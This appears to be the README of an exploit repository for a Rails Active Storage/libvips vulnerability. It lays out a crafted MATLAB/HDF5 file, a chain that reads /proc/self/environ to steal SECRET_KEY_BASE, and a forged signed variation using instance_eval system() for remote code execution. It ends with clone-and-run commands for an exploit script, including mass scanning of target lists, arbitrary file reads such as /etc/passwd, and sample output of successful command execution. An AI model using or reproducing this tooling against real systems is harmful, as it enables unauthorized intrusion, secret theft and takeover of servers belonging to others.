
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 is a critical-severity (CVSS 9.5) pre-authentication arbitrary file read to remote code execution chain in Ruby on Rails Active Storage, affecting Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5, and 8.1.0–8.1.3 in their default configuration.
The vulnerability exploits a four-layer parser confusion across Rails, libvips, libmatio, and HDF5. A crafted file with a MATLAB 5.0 header (satisfying libvips' sniffer) and an HDF5 v7.3 container (dispatched by libmatio) contains an external dataset pointing to an arbitrary server-side file path. When ActiveStorage processes this file as an image variant, the target file's bytes become image pixels — enabling arbitrary file read without authentication.
Once SECRET_KEY_BASE is recovered from /proc/self/environ or credential files, the attacker derives the Active Storage verifier key and forges a signed variation JSON containing instance_eval, achieving remote code execution.
Affected installs: 500K+ Rails applications (Rails 7+ default
variant_processor = :vips) Discovered by: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, July 2026 Patch: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (July 29, 2026)
| Branch | Vulnerable | Fixed |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x affected only if variant_processor = :vips was manually enabled.
Discovered by: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph Reference PoC: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
The exploit chains two independent content-type disagreements across four components:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
| Bytes | Purpose | Value |
|---|---|---|
| 0–9 | libvips sniffer | MATLAB 5.0 |
| 10–123 | Padding | Spaces |
| 124–125 | libmatio dispatcher | 0x0200 (HDF5 v7.3) |
| 126–127 | Endian marker | 0x4d49 (IM) |
| 128–511 | HDF5 userblock | Padding |
| 512+ | HDF5 superblock | Container with external dataset |
"No legitimate writer emits both MATLAB 5.0 at byte 0 and 0x0200 at byte 124."
Blob#variable? trusts the database column populated at direct upload time. No bytes are examined.Vips::Image.new_from_file iterates loaders; matload's sniffer checks only 10 bytes.0x0200 selects the HDF5 backend regardless of the descriptive text.H5Pset_external allows a dataset's raw bytes to reside in an arbitrary external file. libmatio calls H5Dread without checking H5Pget_external_count.Transformers::Vips inherits validate_transformation from the base class, which only blocks combine_options. Arbitrary method names pass through to Vips::Image.public_send.1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
| File | Purpose |
|---|---|
activestorage/app/models/active_storage/blob.rb | variable? trusts content_type column |
activestorage/app/models/active_storage/blob/representable.rb | Representation route resolves blob + variation independently |
activestorage/app/models/active_storage/variation.rb | decode verifies variation key; no cross-reference to blob |
image_processing/lib/image_processing/transformers/vips.rb | No method allowlist — inherits base class behavior |
libvips/foreign/matload.c | vips__mat_ismat sniffs only first 10 bytes |
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Host : rails-app.example.com
Rails : YES
ActiveStorage : YES
File Read : YES
SECRET_KEY : a1b2c3d4...
RCE : YES
RCE Output:
uid=1000(rails) gid=1000(rails) groups=1000(rails)
rails-prod-01
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ